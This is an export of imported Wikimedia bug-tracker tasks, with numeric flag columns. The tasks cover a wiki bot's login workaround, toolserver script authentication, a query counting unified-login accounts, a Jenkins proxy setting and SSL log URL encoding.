+Ported and done in r270.",,,1388766112,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+276142,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Thu, 16 Feb 2012 20:49:55
+-------------------------------------------------------------------------------
+
+The work-a-round was removed because of fix of 'live_version' upstream in r8900. Done in r269.",,,1388766110,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+276136,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sun, 05 Feb 2012 02:19:57
+-------------------------------------------------------------------------------
+
+Another issue - may be related, may be not (but can be solved in same session, since hast to be done upstream) is the fact that the framework seems to have trouble handling e.g. arwiki. 'live_version' has a bug there (raises an error) and also login seems to be problematic because of:
+    
+    2012-02-05 02:11:17,512 bot_control          INFO     WARNING: Your account on wikipedia:ar is blocked by False.
+    2012-02-05 02:11:17,512 bot_control          INFO     Reason: أيبي التول سيرفر
+    2012-02-05 02:11:17,512 bot_control          INFO     Editing using this account will stop the run.
+    
+
+The first issue was worked-a-round by skipping this request for 'ar' in r261.",,,1388766108,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+276131,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Thu, 02 Feb 2012 10:09:14
+-------------------------------------------------------------------------------
+
+  * http://lists.wikimedia.org/pipermail/pywikipedia-l/2012-January/007205.html
+  * http://lists.wikimedia.org/pipermail/pywikipedia-l/2012-February/007223.html",,,1388766107,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+276125,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Wed, 01 Feb 2012 16:32:36
+-------------------------------------------------------------------------------
+
+Re-merge with pywikipedia framework (increase to v1.2) and solve the problem as worked out on maillist. Create a new generic getUrl function (from old one in site class) and specialize it into the one in site class. Similar to the solution in rewrite.
+
+May be this has to be discussed further with Merlijn (valhallasw) since from rewrite it seams to me that it could be impossible to separate into the whished 2 functions... but let's solve this later... ![][1]
+
+   [1]: https://jira.toolserver.org/images/icons/emoticons/wink.gif",,,1388766105,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+276121,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Mon, 30 Jan 2012 10:33:23
+-------------------------------------------------------------------------------
+
+Started the discussion on the list, look at http://lists.wikimedia.org/pipermail/pywikipedia-l/2012-January/007182.html
+
+From that it seems to be hard to find a consensus since in fact I am ""abusing"" the function here. But a very slight modification to the function would solve all problems... Thus there has to be a useful consensus...",,,1388766104,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+276117,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sat, 28 Jan 2012 15:06:39
+-------------------------------------------------------------------------------
+
+Critical -> Major
+
+The bug is solved (work-a-round) but since subster_irc runs multi-threaded it is still possible that on thread tries to write in between 'getUrl' and '_load' from other thread and thus will raise and error. Thus the whole logout should be prevented and not happen at all!",,,1388766102,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+276113,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sat, 28 Jan 2012 14:42:47
+-------------------------------------------------------------------------------
+
+This (work-a-round) was implemented in r259.",,,1388766101,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+276109,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sat, 28 Jan 2012 14:06:11
+-------------------------------------------------------------------------------
+
+A possible solution or work-a-round for this problem is to use 'site._load(force=True)' to re-login e.g.
+    
+    external_buffer = self.site.getUrl(param['url'], no_hostname = True)
+    if self.site.loggedInAs() is None: self.site._load(force=True)",,,1388766099,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+276102,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Fri, 20 Jan 2012 10:09:29
+-------------------------------------------------------------------------------
+
+This does not apply when accessing the same external wikis by API, as can be seen in [1].
+
+[1] http://de.wikipedia.org/w/index.php?title=Benutzer:DrTrigon/Spielwiese&diff=98597085&oldid=98597019&diffonly=0",,,1388766097,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+61454,DRTRIGON-40 Passwort/Login for toolserver scripts,"This issue was converted from https://jira.toolserver.org/browse/DRTRIGON-40.
+Summary: Passwort/Login for toolserver scripts
+Issue type: Sub-task - The sub-task of the issue
+Priority: Major
+Status: Resolved
+Assignee: drtrigon <dr.trigon@surfeu.ch>
+
+-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Fri, 03 Sep 2010 17:29:59
+-------------------------------------------------------------------------------
+
+Passwort/Login wo nötig (sensible Daten od. Funktionen; z.B. 'panel.py') mit [1] (hat auch noch andere [2])
+
+[1] http://toolserver.org/~magnus/tusc.php  
+[2] http://toolserver.org/~magnus/
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1388765340,1388765353.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-mniatmpbxjtq33flln2m,task_description,resolved,True,c3,1,False,False,True,-78,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+273304,DRTRIGON-40 Passwort/Login for toolserver scripts,"
+This bug was imported as RESOLVED. The original assignee has therefore not been
+set, and the original reporters/responders have not been added as CC, to
+prevent bugspam.
+
+If you re-open this bug, please consider adding these people to the CC list:
+Original assignee: dr.trigon@surfeu.ch
+CC list: dr.trigon@surfeu.ch",,,1388765353,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+273299,DRTRIGON-40 Passwort/Login for toolserver scripts,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Mon, 20 Sep 2010 18:45:10
+-------------------------------------------------------------------------------
+
+(switch close <-> resolve management)",,,1388765352,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+273296,DRTRIGON-40 Passwort/Login for toolserver scripts,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Mon, 20 Sep 2010 17:22:30
+-------------------------------------------------------------------------------
+
+Closed because at the moment there are no areas where registered wiki users should have access only. There are high security areas, where the tool admin should have access only!
+
+Can be re-opened, if a similar need appears again.",,,1388765350,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+273293,DRTRIGON-40 Passwort/Login for toolserver scripts,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sat, 04 Sep 2010 14:50:40
+-------------------------------------------------------------------------------
+
+Look at https://wiki.toolserver.org/view/User:DrTrigon for a list of tools. At the moment 2 are a partly critical:
+
+  1. http://toolserver.org/~drtrigon/cgi-bin/panel.py
+  2. http://toolserver.org/~drtrigon/cgi-bin/substersim.py
+
+but the first should only give access to me so 'tusc' is not suitable for the second one ('SubsterBot') it could be a possibility!",,,1388765349,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+61358,DBQ-107 How many users have their logins unified?,"This issue was converted from https://jira.toolserver.org/browse/DBQ-107.
+Summary: How many users have their logins unified?
+Issue type: Task - A task that needs to be done.
+Priority: Major
+Status: Done
+Assignee: (none)
+
+-------------------------------------------------------------------------------
+From: Paolo Massa <massa@fbk.eu>
+Date: Mon, 11 Oct 2010 13:08:15
+-------------------------------------------------------------------------------
+
+I would like to know how many users unified their logins, i.e. they can login in all wikipedias using the same login and password, see http://meta.wikimedia.org/wiki/Help:Unified_login
+
+Unfortunately I don't know which db tables are involved. It should be something about local and global accounts.
+
+I know that there is a tool that shows all the ""Users with name Example on Wikimedia projects"".
+
+I tried with my nickname (phauly) at http://toolserver.org/~vvv/sulutil.php?user=phauly
+
+Below there are the first lines of output of http://toolserver.org/~vvv/sulutil.php?user=phauly
+
+{{{
+
+SUL account status
+
+Username: Phauly
+
+User ID: 546004
+
+User registration: 13:03, 09 October 2008
+
+Home wiki: enwiki
+
+Locked: no
+
+Hidden: no
+
+SUL admin (secure) • Contributions  
+Database ↓ Project ↓ Editcount ↓ Registration date ↓ Flags ↓ Blocked ↓ SUL status ↓  
+angwiki  
+(c)  
+wikipedia 0 2010021809295409:29, 18 February 2010 0 No autocreated  
+barwiki  
+(c)  
+wikipedia 0 2010022613112513:11, 26 February 2010 0 No autocreated  
+cowiki  
+(c)  
+wikipedia 0 2009070618005718:00, 06 July 2009 0 No autocreated  
+commonswiki  
+(c)  
+commons 0 2009051817232917:23, 18 May 2009 0 No autocreated
+
+Home wiki: enwiki_p
+
+Total editcount: 466  
+}}}
+
+I used the Unified login feature months ago.
+
+You can see that while en.wiki is my homewiki, I have an account in most of the wikipedias. 
+
+The account at Spanish Wiki es.wiki is not controlled by me, there is a conflict and in fact it says ""unattached"".
+
+Most of the others are ""autocreated"".
+
+Is there a way to know how many users have used this Unified Login feature.
+
+My final goal is to analyze contributions of the same person in different wikipedias, so I need a way to know for sure that ""Example"" in en.wikipedia is the same physical person as ""Example"" in zh.wikipedia.
+
+Thanks a lot for any hint!  
+Thanks!
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1388764500,1388764543.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-phzh75fwaekp6rlpu5ax,task_description,declined,True,c3,1,False,False,True,-78,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+267724,DBQ-107 How many users have their logins unified?,"
+This bug was imported as RESOLVED. The original assignee has therefore not been
+set, and the original reporters/responders have not been added as CC, to
+prevent bugspam.
+
+If you re-open this bug, please consider adding these people to the CC list:
+Original assignee: (none)
+CC list:",,,1388764543,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+267718,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
+From: Paolo Massa <massa@fbk.eu>
+Date: Tue, 02 Nov 2010 10:53:06
+-------------------------------------------------------------------------------
+
+The code of the script at http://toolserver.org/~vvv/sulutil.php might give an idea of the tables involved and their values.
+
+I also found some mentions of the values involved at http://svn.wikimedia.org/viewvc/mediawiki/trunk/extensions/CentralAuth/evil-plans.txt?view=markup but this is not very clear to me. The old CentralAuth plugin (see http://www.marefa.org/extensions/CentralAuth/central-auth.sql ) had a gu_enabled_method field with enum('opt-in', 'batch', 'auto', 'admin') but I don't find this field in the current tables. 
+
+Anyone can help?
+
+Thanks!!!",,,1388764541,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1
+267710,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
+From: Paolo Massa <massa@fbk.eu>
+Date: Tue, 02 Nov 2010 10:43:10
+-------------------------------------------------------------------------------
+
+The previous comment explains the additional info I might benefit from. Thanks!",,,1388764539,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+267704,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
+From: Paolo Massa <massa@fbk.eu>
+Date: Tue, 02 Nov 2010 10:42:03
+-------------------------------------------------------------------------------
+
+Thanks a lot Mr.Z-man!!!
+
+I have a doubt, I checked at http://en.wikipedia.org/wiki/Special:Statistics and currently there are 13,331,812 users in en.wikipedia (which is the one with most registered users, I guess).
+
+The doubt is the following. Is it possible that ~8 millions out of ~13 millions users opted in for unified login? I believe this is not the case.
+
+So maybe the reason for 8259190 users in Globaluser_table is that users end up there automatically (since a certain date, possibly)?
+
+Probably the fields of Globaluser_table (such as gu_registration, gu_registration and gu_home_db for example) and localuser_table (such as lu_name and lu_attached_timestamp) are useful.
+
+May I ask you to run a query to get some records from these tables to get a better idea of what they are used for? You can use my account ""Phauly"" for posting results of queries.
+
+I checked at https://wiki.toolserver.org/view/Database_schema (and also the diagram at https://wiki.toolserver.org/view/Media:Mediawiki-database-schema.png ) but there is no mention I could find of these global tables.",,,1388764538,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+267699,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
+From: Mr.Z-man <mrzmanwikimail@gmail.com>
+Date: Sun, 31 Oct 2010 18:57:17
+-------------------------------------------------------------------------------
+
+The globaluser table in the centralauth database contains all global accounts.
+    
+     
+    mysql> SELECT COUNT(*) FROM globaluser;
+    +----------+
+    | COUNT(*) |
+    +----------+
+    |  8259190 |
+    +----------+
+    1 row in set (2 min 36.09 sec)
+    
+
+https://wiki.toolserver.org/view/Database_schema/Global#Globaluser_table",,,1388764536,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+61253,Jenkins: Set $wgHTTPProxy in mediawiki config,"Some tests rely on an internet access, for example the Math extension fetch material from latexml. Hacking $wgHTTPProxy does fix the issue : https://gerrit.wikimedia.org/r/#/c/105188/
+
+We have to set $wgHTTPProxy in the mediawiki.d configuration, should vary depending on the cluster the test is being run (pmtpa / eqiad).
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1388761920,1388765958.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_description,resolved,True,c3,1,True,False,True,-78,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+262042,Jenkins: Set $wgHTTPProxy in mediawiki config,"Test change https://gerrit.wikimedia.org/r/#/c/105188/
+
+The Math integration works so I guess $wgHTTPProxy is set properly \O/",,,1388765958,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+262039,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105198 merged by jenkins-bot:
+mwconf: set $wgHTTPProxy based on wmf site
+
+https://gerrit.wikimedia.org/r/105198",,,1388765169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+262035,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105198 had a related patch set uploaded by Hashar:
+mwconf: set $wgHTTPProxy based on wmf site
+
+https://gerrit.wikimedia.org/r/105198",,,1388764896,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+262030,Jenkins: Set $wgHTTPProxy in mediawiki config,"$ dig ANY webproxy.pmtpa.wmnet
+webproxy.pmtpa.wmnet.	3600	IN	CNAME	brewster.wikimedia.org.
+brewster.wikimedia.org.	2129	IN	A	208.80.152.171
+
+
+$ dig ANY webproxy.eqiad.wmnet
+webproxy.eqiad.wmnet.	3600	IN	CNAME	carbon.wikimedia.org.
+carbon.wikimedia.org.	2180	IN	A	208.80.154.10
+
+Now we need to inject that configuration in MediaWiki :-D",,,1388762928,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+262027,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105189 merged by Mark Bergsma:
+webproxies service entries in wmnet.
+
+https://gerrit.wikimedia.org/r/105189",,,1388762692,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+262021,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105189 had a related patch set uploaded by Hashar:
+webproxies service entries in wmnet.
+
+https://gerrit.wikimedia.org/r/105189",,,1388762618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+60876,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"SSL endpoints log %-encoded URLs logged as \x-encoded URLs
+
+When requesting %-encoded URLs like
+
+  https://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4
+
+(note: “https”) we get a log line for
+
+  http://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4
+
+(%-encoded) from the cache, but the SSL endpoint additionally adds a
+log entry using the URL
+
+  https://ru.wikipedia.org/wiki/1092_\xD0\xB3\xD0\xBE\xD0\xB4
+
+(\x-encoded).
+The latter, \x-encoded URL cannot be fetched, and distorts logs.
+
+I'd prefer if we have no \x-encoded URLs in our logs.
+
+Should we:
+* try to fix the SSL endpoints to not log distorted URLs, or
+* stop having ssl endpoints in the udp2log log stream altogether
+  (Currently, https requests get two entries in the log stream. One
+  from the SSL endpoint, and one from the responding cache)
+
+?
+
+--------------------------
+**Version**: unspecified
